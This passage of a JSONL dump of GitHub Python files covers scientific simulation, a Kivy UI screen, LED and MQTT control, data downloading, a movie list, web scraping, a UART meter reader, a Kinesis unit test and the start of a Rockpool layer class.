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+{"seq_id":"72196171283","text":"# -*- coding: utf-8 -*-\n\nfrom __future__ import print_function\nfrom pyomo.environ import *\nfrom pyomo.dae import *\nfrom kipet.library.ResultsObject import *\nfrom kipet.library.Simulator import *\nfrom kipet.library.PyomoSimulator import *\nfrom kipet.library.fe_factory import *\nimport warnings\nimport six\nimport sys\n\n__author__ = 'Michael Short'  #: July 2018\n\nclass FESimulator(PyomoSimulator):\n    def __init__(self, model):\n        \"\"\"\n            FESimulator class:\n    \n                This class is just an interface that allows the user of Kipet to easily implement the more general \n                fe_factory class designed by David M. Thierry without having to re-write the model to fit those\n                arguments. It takes in a standard Kipet/Pyomo model, rewrites it and calls fe_factory.\n                More information on fe_factory is included in that class description.\n    \n                Args:\n                    model (ConcreteModel): The original Pyomo model created in the Kipet script\n        \"\"\"\n        super(FESimulator, self).__init__(model)\n        self.p_sim =  PyomoSimulator(model)\n        self.c_sim = self.p_sim.model.clone()\n        self.param_dict = {}\n        self.param_name = \"P\"\n\n        # check all parameters are fixed before simulating\n        for p_sim_data in six.itervalues(self.p_sim.model.P):\n            if not p_sim_data.fixed:\n                raise RuntimeError('For simulation fix all parameters. Parameter {} is unfixed'.format(p_sim_data.cname()))\n\n        #Build the parameter dictionary in the format that fe_factory uses    \n        for k,v in six.iteritems(self.p_sim.model.P):\n            self.param_dict[\"P\",k] = v.value\n\n        #Build the initial condition dictionary in the format that fe_factory uses\n        self.ics_ = {} \n\n        for t, k in six.iteritems(self.p_sim.model.Z):\n            st = self.p_sim.model.start_time\n            if t[0] == st:\n                self.ics_['Z', t[1]] = k.value\n                \n        #Now to set the additional state values\n        for t, v in six.iteritems(self.p_sim.model.X):\n            if t[0] == st:\n                self.ics_['X',t[1]] = v.value\n\n    def call_fe_factory(self, inputs_sub=None, jump_states=None, jump_times=None, feed_times=None):#added for inclusion of discrete jumps CS\n        \"\"\"\n        call_fe_factory:\n    \n                This function applies all the inputs necessary for fe_factory to work, using Kipet syntax.\n                Requires external inputs/dosing points to be specified with the following arguments.\n    \n                Args:\n                    inputs_sub (dict): dictionary of inputs \n                    jump_states (dict): dictionary of which variables and states are inputted and by how much\n                    jump_times (dict): dictionary in same form as jump_states with times of input\n                    feed_times (list): list of additional times needed, should be the same times as jump_times \n        \"\"\"\n        #added for inclusion of inputs of different kind CS\n        self.inputs_sub=inputs_sub\n\n        self.jump_times=jump_times\n        self.jump_states=jump_states\n        self.feed_times=feed_times\n        \n        init = fe_initialize(self.p_sim.model, self.c_sim,\n                         init_con=\"init_conditions_c\",\n                         param_name=self.param_name,\n                         param_values=self.param_dict,\n                         inputs_sub=self.inputs_sub)\n    \n        init.load_initial_conditions(init_cond=self.ics_)\n\n        if jump_times!=None and jump_states!=None:\n            init.load_discrete_jump(jump_states, jump_times, feed_times) #added for inclusion of discrete jumps\n        init.run()\n","repo_name":"tkrumpol/KIPET","sub_path":"kipet/library/FESimulator.py","file_name":"FESimulator.py","file_ext":"py","file_size_in_byte":3707,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"71235640403","text":"from kivy.app import App\nfrom kivy.uix.screenmanager import ScreenManager, Screen\nimport kivy.uix.screenmanager\nfrom kivy.uix.button import Button\nfrom kivy.uix.boxlayout import BoxLayout\nfrom kivy.core.window import Window\n\n\nimport random\n\n#import string_sum\n\ndef run(error:str):\n    if error == \"connection_error\":\n        ErrorApp.run()\n\nclass ErrorApp(App):\n    def build(self):\n        sm = ScreenManager()\n\n        sm.add_widget(ConnectionErrorScreen(name = \"screen\"))\n        \n        return sm\n\nclass ConnectionErrorScreen(Screen):\n    def __init__(self, **kwargs):\n        super(ConnectionErrorScreen, self).__init__(**kwargs)\n        self.main_all_box = BoxLayout(orientation = \"vertical\")\n        self.add_widget(self.main_all_box)\n\n        self.banner = Button (border = (0, 0, 0, 0), size_hint = (1, None), height = Window.size[0] / 5.08, background_normal = 'images/banner.png', background_down = 'images/banner.png')\n        self.main_all_box.add_widget(self.banner)\n\n        text = \"\"\"\nConnection couldn't be found.\nTry these out:\n    - Check your internet connection\n    - Update your app\nIf these do not work, contact the developers.\n        \"\"\"\n\n        self.button = Button (border = (0, 0, 0, 0), size_hint = (1, 1), background_normal = 'images/paper_pink.png', background_down = 'images/paper_pink.png', text=text)\n        self.main_all_box.add_widget(self.button)\n\n        \n        \n\nif __name__ == '__main__':\n    ErrorApp().run()","repo_name":"Feluk6174/doxa_gui","sub_path":"error_screens.py","file_name":"error_screens.py","file_ext":"py","file_size_in_byte":1454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"12229695598","text":"# Simple test for NeoPixels on Raspberry Pi\n#from fusion import Fusion\nimport numpy as np\n#import utime as time\nimport time\nimport threading\nimport board\nimport neopixel\nimport paho.mqtt.client as mqtt\nfrom datetime import datetime\nfrom fastdtw import fastdtw\n# Choose an open pin connected to the Data In of the NeoPixel strip, i.e. board.D18\n# NeoPixels must be connected to D10, D12, D18 or D21 to work.\npixel_pin = board.D18\ndef time_diff(t2,t1):\n  return t2-t1\n# The number of NeoPixels\nnum_pixels = 30\nnum_players = 3\n# The order of the pixel colors - RGB or GRB. Some NeoPixels have red and green reversed!\n# For RGBW NeoPixels, simply change the ORDER to RGBW or GRBW.\nORDER = neopixel.GRB\nMQTT_SERVER = \"localhost\"\n\npixels = neopixel.NeoPixel(pixel_pin, num_pixels, brightness=0.2, auto_write=False,\n                           pixel_order=ORDER)\nlookup_player_id = ['player{}'.format(i) for i in range(num_players)]\nred = threading.Event()\nwin_size = 5\neuler = np.zeros((num_players,win_size,3))\nid_window = 0\nt=[0]*num_players\n#sensors = [Fusion(time_diff) for i in range(num_players)]\nn_calibration = 200\nidx = 0\naccel_data = np.zeros((num_players,win_size,3))\ndiff_total_buffer = np.zeros((num_players,win_size))\ndiff_total_smooth = np.zeros((num_players,win_size))\nRED_THRESHOLD = 8\n\n\ndef wheel(pos):\n    # Input a value 0 to 255 to get a color value.\n    # The colours are a transition r - g - b - back to r.\n    if pos < 0 or pos > 255:\n        r = g = b = 0\n    elif pos < 85:\n        r = int(pos * 3)\n        g = int(255 - pos*3)\n        b = 0\n    elif pos < 170:\n        pos -= 85\n        r = int(255 - pos*3)\n        g = 0\n        b = int(pos*3)\n    else:\n        pos -= 170\n        r = 0\n        g = int(pos*3)\n        b = int(255 - pos*3)\n    return (r, g, b) if ORDER == neopixel.RGB or ORDER == neopixel.GRB else (r, g, b, 0)\n\n\ndef rainbow_cycle(wait):\n    for j in range(255):\n        for i in range(num_pixels):\n            pixel_index = (i * 256 // num_pixels) + j\n            pixels[i] = wheel(pixel_index & 255)\n        pixels.show()\n        time.sleep(wait)\n\ndef set(r,g,b):\n    for i in range(num_pixels):\n        pixels[i] = (r,g,b)\n    #times.sleep(wait)\t\n\n\ndef subscribe_to_topics(client): \n    for i in range(num_players):\n       client.subscribe(\"theguy/player{}\".format(i))\n       print(\"Subscribed to theguy/player{}\".format(i))\n \n# The callback for when the client receives a CONNACK response from the server.\ndef on_connect(client, userdata, flags, rc):\n        print(\"Connected with result code \"+str(rc))\n        subscribe_to_topics(client)\n\n \n# The callback for when a PUBLISH message is received from the server.\n#offset = np.zeros((num_players,n_calibration,9))\n\ndef get_euler_0():\n  return euler[0,idx]\n\n\ndef get_euler_1():\n  return euler[1,idx]\n\ndef calibrating():\n  return idx < 200\n\nget_euler = [\nget_euler_0,\nget_euler_1\n]\n\ndef on_message(client, userdata, msg):\n    global win_size, euler, id_window, t, sensors, num_players, idx, diff_total_smooth\n    ########print(msg.topic+\" \"+str(msg.payload))\n\n    source = str(msg.topic).split('/')\n    #######print(source)\n    topic,id_player = source\n\n\n    topic = str(topic)\n    id_player = int(lookup_player_id.index(id_player))\n    values = [float(n) for n in str(msg.payload)[2:-1].split(',')]\n\n    ##########print('Topic: {}, Player: {}, Value: {}'.format(topic,id_player,values))\n\n    ts = values[-1]\n    #sensors[id_player].calibrate(get_euler[id_player],calibrating)\n#    sensors[id_player].update(values[:3],values[3:6],values[6:9],ts)\n#     sensors[id_player].update_nomag(values[:3]-offset[:3],values[3:6]-offset[3:6],ts)\n\n#    for i in range(num_players):\n#      euler[i,idx%win_size,0] = sensors[i].roll\n#      euler[i,idx%win_size,1] = sensors[i].pitch\n#      euler[i,idx%win_size,2] = sensors[i].heading\n#      #euler[i,idx] -= offset[id_player]\n\n    accel_data[id_player,idx%win_size] = values[:3]\n\n    if id_player == 0:\n        accel_data[1,idx%win_size] = accel_data[1,(idx-1)%win_size]\n        accel_data[2%win_size] = accel_data[2,(idx-1)%win_size]\n    elif id_player == 1:\n        accel_data[0,idx%win_size] = accel_data[0,(idx-1)%win_size]\n        accel_data[1%win_size] = accel_data[2,(idx-1)%win_size]\n    elif id_player == 2:\n        accel_data[0,idx%win_size] = accel_data[0,(idx-1)%win_size]\n        accel_data[1%win_size] = accel_data[1,(idx-1)%win_size]\n      #print(np.round(euler,2))\n\n\n\n    ###########print(\"\\nPlayer 1: {0:.2f}|{1:.2f}|{2:.2f} Player 2: {3:.2f}|{4:.2f}|{5:.2f}\".format(\n    # accel_data[0,idx%win_size,0],\n    # accel_data[0,idx%win_size,1],\n    # accel_data[0,idx%win_size,2],\n    # accel_data[1,idx%win_size,0],\n    # accel_data[1,idx%win_size,1],\n    # accel_data[1,idx%win_size,2]))\n\n\n    diff_total_p1_x = np.abs(accel_data[0,idx%win_size,0] - accel_data[1,idx%win_size,0])\n    diff_total_p1_y = np.abs(accel_data[0,idx%win_size,1] - accel_data[1,idx%win_size,1])\n    diff_total_p1_z = np.abs(accel_data[0,idx%win_size,2] - accel_data[1,idx%win_size,2])\n    diff_total_p1   = np.sqrt(diff_total_p1_x ** 2 + diff_total_p1_y ** 2 + diff_total_p1_z ** 2)\n\n    diff_total_p2_x = np.abs(accel_data[0,idx%win_size,0] - accel_data[1,idx%win_size,0])\n    diff_total_p2_y = np.abs(accel_data[0,idx%win_size,1] - accel_data[1,idx%win_size,1])\n    diff_total_p2_z = np.abs(accel_data[0,idx%win_size,2] - accel_data[1,idx%win_size,2])\n    diff_total_p2   = np.sqrt(diff_total_p2_x ** 2 + diff_total_p2_y ** 2 + diff_total_p2_z ** 2)\n\n    diff_total_buffer[0,idx] = 0\n    diff_total_buffer[1,idx] = diff_total_p1\n    diff_total_buffer[2,idx] = diff_total_p2\n\n    diff_total_smooth[0,idx] = 0\n    diff_total_smooth[1,idx] = np.mean(diff_total_buffer[1], 0)\n    diff_total_smooth[2,idx] = np.mean(diff_total_buffer[2], 0)\n\n    # print(\"x: {}, y: {}, z: {}, tot: {}, sm: {}\".format(diff_total_x, diff_total_y, diff_total_z, diff_total, diff_total_smooth))\n    \n\n\n\n#    diff_total = np.linalg.norm(euler[0]-euler[1])\n#    diff_current = np.linalg.norm(euler[0,idx%win_size]-euler[1,idx%win_size])\n\n#    dtw_diff,_ = fastdtw(euler[0],euler[1])\n    idx = (idx + 1) % win_size\n\n#    print('Eucl. Distance Current: {}'.format(diff_current))\n#    print('Eucl. Distance Window: {}'.format(diff_total))\n\n#    print('Time Warped Distance: {}'.format(dtw_diff))\n\n    if diff_total_smooth[1] > RED_THRESHOLD or diff_total_smooth[2] > RED_THRESHOLD:\n        red.set()\n        # print(\"Out of Sync\")\n    else:\n        # print(\"Clear\")\n        red.clear()\n\n#    with open('outfile.csv', 'a') as f:\n#       f.write('{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{}\\n'.format(\n#        sensors[0].ax,ESHOLD,\n#        sensors[0].az,\n#        sensors[0].gx,\n#        sensors[0].gy,\n#        sensors[0].gz,\n#        sensors[0].mx,\n#        sensors[0].my,\n#        sensors[0].mz,\n#        sensors[0].roll,\n#        sensors[0].pitch,\n#        sensors[0].heading,\n#        sensors[1].ax,\n#        sensors[1].ay,\n#        sensors[1].az,\n#        sensors[1].gx,\n#        sensors[1].gy,\n#        sensors[1].gz,\n#        sensors[1].mx,\n#        sensors[1].my,\n#        sensors[1].mz,\n#        sensors[1].roll,\n#        sensors[1].pitch,\n#        sensors[1].heading,\n#        ))\n\n\n\n\n\ndef main(): \n\n    client = mqtt.Client()\n    client.on_connect = on_connect\n    client.on_message = on_message\n     \n    client.connect(MQTT_SERVER, 1883, 60)\n     \n    # Blocking call that processes network traffic, dispatches callbacks and\n    # handles reconnecting.\n    # Other loop*() functions are available that give a threaded interface and a\n    # manual interface.\n    j = 0\n    while True:\n    # COMM\n        client.loop(.1)\n    \n\n    # LED\n        j += 20\n        if j > 140:\n            j = 0\n\n        gradient = diff_total_smooth * 255 / RED_THRESHOLD\n        if (gradient > 255): gradient = 255\n        set(int(gradient), int(255 - gradient), 0)\n        pixels.show()\n\n        # if not red.isSet():\n        #     for i in range(num_pixels):\n        #         pixel_index = (i * 256 // num_pixels) + j\n        #         pixels[i] = wheel(pixel_index & 255)\n        #     pixels.show()\n        # else:\n        #     set(255,0,0)\n        #     pixels.show()\n\n\n\n\nmain()\n","repo_name":"phildue/theguy","sub_path":"theguy_backend.py","file_name":"theguy_backend.py","file_ext":"py","file_size_in_byte":8192,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"37630472604","text":"import requests\nfrom pathlib import Path\nimport datetime as dt\nfrom urllib.request import urlretrieve\nimport os\n\ndef download_file(url, file_name, ddir):\n    ddir.mkdir(parents=True, exist_ok=True)\n    \n    # Join the directory with the filename\n    file_path = ddir / file_name\n    \n    # Send a HTTP request to the url of the file we want to access\n    response = requests.get(os.path.join(url, file_name), stream=True)\n\n    # Check if the request was successful\n    if response.status_code == 200:\n        # If the request was successful, download the file\n        with open(file_path, 'wb') as file:\n            for chunk in response.iter_content(chunk_size=1024):\n                file.write(chunk)\n        print(f\"Downloaded the file. HTTP Response Code: {response.status_code}\")\n        # urlretrieve(url, file_path)\n    else:\n        print(f\"Failed to download the file. HTTP Response Code: {response.status_code}\")\n\n# The URL of the file we want to download\nurl = 'http://tendral.com/TOPSv2/latest_composite/'\n\n# Get the current date\nnow = dt.datetime.now()\n\n# Subtract one day from the current date to get yesterday's date\nyesterday = now - dt.timedelta(days=1)\ntomorrow = now + dt.timedelta(days=1)\n\n\nfor d in [yesterday, now, tomorrow]:\n    # Format the date\n    formatted_date_1 = yesterday.strftime('%Y%m%d')\n    formatted_date_2 = d.strftime('%Y%m%d')\n\n    # The name we want to give to the downloaded file\n    file_name = f'tops_compositem_{formatted_date_1}_{formatted_date_2}.nc'\n\n    # Directory where the file should be downloaded\n    ddir = Path('/home/hurricaneadm/data/tops/')\n    # ddir = Path('/Users/mikesmith/data/tops/')\n\n    download_file(url, file_name, ddir / d.strftime('%Y/%m'))\n","repo_name":"rucool/ioos_model_comparisons","sub_path":"scripts/harvest/grab_tops.py","file_name":"grab_tops.py","file_ext":"py","file_size_in_byte":1711,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"71921252242","text":"# -*- coding: utf-8 -*-\n\"\"\"\n * Created by PyCharm.\n * Project: P1_Movie_Trailer\n * Author name: Iraquitan Cordeiro Filho\n * Author login: iraquitan\n * File: enterteinment_center\n * Date: 10/14/15\n * Time: 11:14 PM\n * To change this template use File | Settings | File Templates.\n\"\"\"\nimport fresh_tomatoes_custom\nimport media\n\n\n# Create various Movie's class instances\ntoy_story = media.Movie('Toy Story',\n                        \"A cowboy doll is profoundly threatened and jealous \"\n                        \"when a new spaceman figure supplants him as top toy \"\n                        \"in a boy's room.\",\n                        1995,\n                        'John Lasseter',\n                        'https://upload.wikimedia.org/wikipedia/en/1/13/Toy_Story.jpg',  # noqa\n                        'https://www.youtube.com/watch?v=KYz2wyBy3kc')\n\navatar = media.Movie('Avatar',\n                     \"A paraplegic marine dispatched to the moon Pandora on a \"\n                     \"unique mission becomes torn between following his \"\n                     \"orders and protecting the world he feels is his home.\",\n                     2009,\n                     'James Cameron',\n                     'https://upload.wikimedia.org/wikipedia/en/b/b0/Avatar-Teaser-Poster.jpg',  # noqa\n                     'https://www.youtube.com/watch?v=5PSNL1qE6VY')\n\nv_for_vendetta = media.Movie('V for Vendetta',\n                             \"Following world war, London is a police state \"\n                             \"occupied by a fascist government, and a \"\n                             \"vigilante known only as V (Hugo Weaving) uses \"\n                             \"terrorist tactics to fight the oppressors of \"\n                             \"the world in which he now lives.\",\n                             2005,\n                             'James McTeigue',\n                             'https://upload.wikimedia.org/wikipedia/en/9/9f/Vforvendettamov.jpg',  # noqa\n                             'https://www.youtube.com/watch?v=lSA7mAHolAw')\n\nschool_of_rock = media.Movie('School of Rock',\n                             \"After being kicked out of a rock band, Dewey \"\n                             \"Finn becomes a substitute teacher of a strict \"\n                             \"elementary private school, only to try and turn \"\n                             \"it into a rock band.\",\n                             2003,\n                             'Richard Linklater',\n                             'http://static.rogerebert.com/uploads/movie/movie_poster/school-of-rock-2003/large_cREN222Yw78zvSQ9bg17Y9QZS0c.jpg',  # noqa\n                             'https://www.youtube.com/watch?v=3PsUJFEBC74')\n\nhercules = media.Movie('Hercules',\n                       \"The son of the Greek Gods Zeus and Hera is stripped \"\n                       \"of his immortality as an infant and must become a \"\n                       \"true hero in order to reclaim it.\",\n                       1995,\n                       'Ron Clements and John Musker',\n                       'https://31.media.tumblr.com/8fb4acba91d558615119d25c40789140/tumblr_inline_n571ften4m1rtf1yw.jpg',  # noqa\n                       'https://www.youtube.com/watch?v=NDMZHhcBHaQ')\n\ngarden_state = media.Movie('Garden State',\n                           \"A quietly troubled young man returns home for his \"\n                           \"mother's funeral after being estranged from his \"\n                           \"family for a decade.\",\n                           2004,\n                           'Zach Braff',\n                           'http://www.masculinity-movies.com/wp-content/uploads/2012/04/600full-garden-state-poster.jpg',  # noqa\n                           'https://www.youtube.com/watch?v=u82n0e1mgmQ')\n\nhunger_games = media.Movie('Hunger Games',\n                           \"Katniss Everdeen voluntarily takes her younger \"\n                           \"sister's place in the Hunger Games, a televised \"\n                           \"fight to the death in which two teenagers from \"\n                           \"each of the twelve Districts of Panem are chosen \"\n                           \"at random to compete.\",\n                           2012,\n                           'Gary Ross',\n                           'http://www.movieguide.org/wp-content/uploads/2012/06/98068201-0cc9-42ed-81ee-dcd480c4cba8.jpg',  # noqa\n                           'https://www.youtube.com/watch?v=PbA63a7H0bo')\n\nlotr_1 = media.Movie('LOTR 1 - The Fellowship of the Ring',\n                     \"A meek hobbit of the Shire and eight companions set out \"\n                     \"on a journey to Mount Doom to destroy the One Ring and \"\n                     \"the dark lord Sauron.\",\n                     2001,\n                     'Peter Jackson',\n                     'http://www.movieposter.com/posters/archive/main/105/MPW-52979',  # noqa\n                     'https://www.youtube.com/watch?v=V75dMMIW2B4')\n\nlotr_2 = media.Movie('LOTR 2 - The Two Towers',\n                     \"While Frodo and Sam edge closer to Mordor with the help \"\n                     \"of the shifty Gollum, the divided fellowship makes a \"\n                     \"stand against Sauron's new ally, Saruman, and his \"\n                     \"hordes of Isengard.\",\n                     2002,\n                     'Peter Jackson',\n                     'https://wtfbabe.files.wordpress.com/2012/11/two-towers-poster.jpg',  # noqa\n                     'https://www.youtube.com/watch?v=LbfMDwc4azU')\n\nlotr_3 = media.Movie('LOTR 3 - The Return of the King',\n                     \"Gandalf and Aragorn lead the World of Men against \"\n                     \"Sauron's army to draw his gaze from Frodo and Sam as \"\n                     \"they approach Mount Doom with the One Ring.\",\n                     2003,\n                     'Peter Jackson',\n                     'http://sites.psu.edu/202d031/wp-content/uploads/sites/15365/2014/09/LOTR-King.jpg',  # noqa\n                     'https://www.youtube.com/watch?v=r5X-hFf6Bwo')\n\nmatrix = media.Movie('The Matrix',\n                     \"A computer hacker learns from mysterious rebels about \"\n                     \"the true nature of his reality and his role in the war \"\n                     \"against its controllers.\",\n                     1999,\n                     'The Wachowski Brothers',\n                     'https://www.movieposter.com/posters/archive/main/9/A70-4902',  # noqa\n                     'https://www.youtube.com/watch?v=vKQi3bBA1y8')\n\nmovies = [toy_story, avatar, v_for_vendetta, school_of_rock, hercules,\n          garden_state, hunger_games, lotr_1, lotr_2, lotr_3, matrix]\n\n# Use customized fresh_tomatoes_custom to create webpage with Movies instances\nfresh_tomatoes_custom.open_movies_page(movies)\n","repo_name":"iraquitan/udacity-fsnd-p0-movie-trailer","sub_path":"entertainment_center.py","file_name":"entertainment_center.py","file_ext":"py","file_size_in_byte":6748,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"70694657041","text":"#To check if any pokemon's number is a palindrome AND their base stat total is a palindrome. \n#Thanks to hoopsandhiphop on youtube for the idea\n\nimport requests\nimport progressbar\n\ndef palindrome(x):\n\treturn str(x) == str(x)[::-1]\n\ndef numformat(num):\n\tif 0 < num < 10:\n\t\treturn '00{0}'.format(num)\n\telif 9 < num < 100:\n\t\treturn '0{0}'.format(num)\n\telse:\n\t\treturn str(num)\n\nbaseurl = 'https://www.serebii.net/pokedex-sm/'\n\noutlines = []\nfor pokenum in progressbar.progressbar(range(810)):\n\tif palindrome(pokenum):\n\t\turl = baseurl + '{0}.shtml'.format(numformat(pokenum))\n\t\tpage = requests.get(url)\n\t\tlinestocheck = []\n\t\tfor line in page.text.split('\\n'):\n\t\t\tif 'Base Stats - Total:' in line:\n\t\t\t\tif line not in linestocheck:\t\t\t\t\n\t\t\t\t\tlinestocheck.append(line)\n\t\t\tif '<title>' in line:\n\t\t\t\tname = line.split()[0][7:]\n\t\tusedbsts = []\n\t\tfor line in linestocheck:\n\t\t\tparsed = line.split()\n\t\t\tbst = parsed[-1][0:3]\n\t\t\tif bst not in usedbsts: \n\t\t\t\tusedbsts.append(bst)\n\t\t\t\tif palindrome(bst):\n\t\t\t\t\t\n\t\t\t\t\toutlines.append('{0} checks! Stats = {1}, number = {2}'.format(name, bst, pokenum))\nfor line in outlines:\n\tprint(line)\n","repo_name":"iammax/Fun-Projects","sub_path":"pokemon_palindrome.py","file_name":"pokemon_palindrome.py","file_ext":"py","file_size_in_byte":1117,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"17445059521","text":"from machine import UART\nimport struct\nimport time\n\nuart = UART(1, 9600, tx=17, rx=16)                                            # Initialize UART port.\n\ndef em_read():\n    signed=True\n    uart.write(b'\\xF8\\x04\\x00\\x00\\x00\\x0A\\x64\\x64')             # Request for all parameters from the EM module.\n    time.sleep(0.1)\n    recv_data = uart.read()\n    recv_data = recv_data[3:-2]\n    data_length = int(len(recv_data) / 2)\n    data_f = '>' + (('h' if signed else 'H') * data_length)\n    return struct.unpack(data_f, recv_data)\n\ndef reset_energy():                                             # Resets 'kWh' data.\n    uart.write(b'\\xF8\\x42\\xC2\\x41')          \n","repo_name":"caijiayou/power","sub_path":"esp32/Lib/ssd1306.py","file_name":"ssd1306.py","file_ext":"py","file_size_in_byte":657,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"25450346120","text":"import helper\r\nimport pickle\r\n\r\ndef convert():\r\n    raw_data = helper.read_data('./asset/test.txt')\r\n    result = []\r\n    file = open(\"result.txt\", \"w+b\")\r\n    for i in raw_data:\r\n        counter = 0\r\n        for char in i:\r\n            if char in '012':\r\n                counter += 1\r\n                if char == '1':\r\n                    result.append(counter)\r\n                    break\r\n    pickle.dump(result,file)\r\n\r\ndef get_result():\r\n    result = pickle.load(open(\"result.txt\", \"rb\"))\r\n    return result\r\n\r\n\r\n\r\n","repo_name":"uygnef/COMP9318","sub_path":"my_solution/convert_test.py","file_name":"convert_test.py","file_ext":"py","file_size_in_byte":518,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"18415711143","text":"import unittest\nfrom unittest.mock import patch\n\n# Importar las funciones que se van a probar\nfrom stream_consumer_upper import get_shard_iterator\n\n\nclass TestStreamConsumer(unittest.TestCase):\n\n    @patch('stream_consumer_upper.kinesis_client')\n    def test_get_shard_iterator(self, mock_kinesis_client):\n        stream_name = 'bollinger_stream'\n        shard_id = 'shardId-000000000000'\n        expected_iterator = 'example_shard_iterator'\n\n        mock_kinesis_client.get_shard_iterator.return_value = {\n            'ShardIterator': expected_iterator}\n        result = get_shard_iterator(stream_name, shard_id)\n\n        self.assertEqual(result, expected_iterator)\n        mock_kinesis_client.get_shard_iterator.assert_called_once_with(\n            StreamName=stream_name,\n            ShardId=shard_id,\n            ShardIteratorType='TRIM_HORIZON'\n        )\n\n\nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"jchaves1406/Kinesis_deployment","sub_path":"test_stream_consumer.py","file_name":"test_stream_consumer.py","file_ext":"py","file_size_in_byte":909,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"40796384547","text":"\"\"\"\nLayer v1 base class for Rockpool layers\n\"\"\"\n\nfrom warnings import warn\nfrom abc import ABC, abstractmethod\nfrom functools import reduce\nfrom typing import Optional, Any, Tuple, Dict\nimport json\n\nimport numpy as np\n\nfrom rockpool.timeseries import TimeSeries, TSContinuous, TSEvent\nfrom rockpool.utilities.type_handling import to_scalar\n\n# - Configure exports\n__all__ = [\"Layer\"]\n\n\n# - Absolute tolerance, e.g. for comparing float values\ntol_abs = 1e-9\n\n\n### --- Implements the Layer abstract class\n\n\nclass Layer(ABC):\n    \"\"\"\n    Base class for Layers in rockpool\n\n    This abstract class acts as a base class from which to derive subclasses that represent layers of neurons. As an abstract class, :py:class:`Layer` cannot be instantiated.\n    \"\"\"\n\n    def __init__(\n        self,\n        weights: np.ndarray,\n        dt: float = 1.0,\n        noise_std: float = 0.0,\n        name: str = \"unnamed\",\n        *args,\n        **kwargs,\n    ):\n        \"\"\"\n        Implement an abstract layer of neurons (no implementation, must be subclassed)\n\n        :param ArrayLike[float] weights:    Weight matrix for this layer. Indexed as [pre, post]\n        :param float dt:                    Time-step used for evolving this layer. Default: 1\n        :param float noise_std:             Std. Dev. of state noise when evolving this layer. Default: 0. Defined as the expected std. dev. after 1s of integration time\n        :param str name:                    Name of this layer. Default: 'unnamed'\n        \"\"\"\n        # - Call super-class init\n        super().__init__(*args, **kwargs)\n\n        # - Assign properties\n        if name is None:\n            self.name = \"unnamed\"\n        else:\n            self.name = name\n\n        try:\n            # Try this before enforcing with Numpy atleast to account for custom classes for weights\n            self._size_in, self._size = weights.shape\n            self._size_out = self._size\n            self._weights = weights\n        except Exception:\n            weights = np.atleast_2d(weights)\n            self._size_in, self._size = weights.shape\n            self._size_out = self._size\n            self._weights = weights\n\n        # - Make sure `dt` is a float\n        try:\n            self._dt = float(dt)\n        except TypeError:\n            raise TypeError(self.start_print + \"`dt` must be a scalar.\")\n\n        # Handle format of `noise_std`\n        try:\n            self.noise_std = float(noise_std)\n        except TypeError:\n            if noise_std is None:\n                self.noise_std = 0.0\n            else:\n                raise TypeError(\n                    self.start_print + \"`noise_std` must be a scalar or `None`\"\n                )\n\n        self._timestep = 0\n\n    ### --- Common methods\n\n    def _determine_timesteps(\n        self,\n        ts_input: Optional[TimeSeries] = None,\n        duration: Optional[float] = None,\n        num_timesteps: Optional[int] = None,\n    ) -> int:\n        \"\"\"\n        Determine how many time steps to evolve with the given input\n\n        :param Optional[TimeSeries] ts_input:   TxM or Tx1 time series of input signals for this layer\n        :param Optional[float] duration:        Duration of the desired evolution, in seconds. If not provided, ``num_timesteps`` or the duration of ``ts_input`` will be used to determine evolution time\n        :param Optional[int] num_timesteps:     Number of evolution time steps, in units of :py:attr:`.dt`. If not provided, ``duration`` or the duration of ``ts_input`` will be used to determine evolution time\n\n        :return int:                            num_timesteps: Number of evolution time steps\n        \"\"\"\n\n        if num_timesteps is None:\n            # - Determine ``num_timesteps``\n            if duration is None:\n                # - Determine duration\n                if ts_input is None:\n                    raise TypeError(\n                        self.start_print\n                        + \"One of `num_timesteps`, `ts_input` or `duration` must be supplied.\"\n                    )\n\n                if ts_input.periodic:\n                    # - Use duration of periodic TimeSeries, if possible\n                    duration = ts_input.duration\n\n                else:\n                    # - Evolve until the end of the input TimeSeries\n                    duration = ts_input.t_stop - self.t\n                    if duration <= 0:\n                        raise ValueError(\n                            self.start_print\n                            + \"Cannot determine an appropriate evolution duration.\"\n                            + \" `ts_input` finishes before the current evolution time.\",\n                        )\n            num_timesteps = int(np.floor((duration + tol_abs) / self.dt))\n        else:\n            if not isinstance(num_timesteps, int):\n                raise TypeError(\n                    self.start_print + \"`num_timesteps` must be a non-negative integer.\"\n                )\n            elif num_timesteps < 0:\n                raise ValueError(\n                    self.start_print + \"`num_timesteps` must be a non-negative integer.\"\n                )\n\n        return num_timesteps\n\n    def _prepare_input(\n        self,\n        ts_input: Optional[TimeSeries] = None,\n        duration: Optional[float] = None,\n        num_timesteps: Optional[int] = None,\n    ) -> Tuple[np.ndarray, np.ndarray, int]:\n        \"\"\"\n        Sample input, set up time base\n\n        This function checks an input signal, and prepares a discretised time base according to the time step of the current layer\n\n        :param Optional[TimeSeries] ts_input:   :py:class:`.TimeSeries` of TxM or Tx1 Input signals for this layer\n        :param Optional[float] duration:        Duration of the desired evolution, in seconds. If not provided, then either ``num_timesteps`` or the duration of ``ts_input`` will define the evolution time\n        :param Optional[int] num_timesteps:     Integer number of evolution time steps, in units of ``.dt``. If not provided, then ``duration`` or the duration of ``ts_input`` will define the evolution time\n\n        :return (ndarray, ndarray, int): (time_base, input_steps, num_timesteps)\n            time_base:      T1 Discretised time base for evolution\n            input_raster    (T1xN) Discretised input signal for layer\n            num_timesteps:  Actual number of evolution time steps, in units of ``.dt``\n        \"\"\"\n        assert (ts_input is None) or isinstance(\n            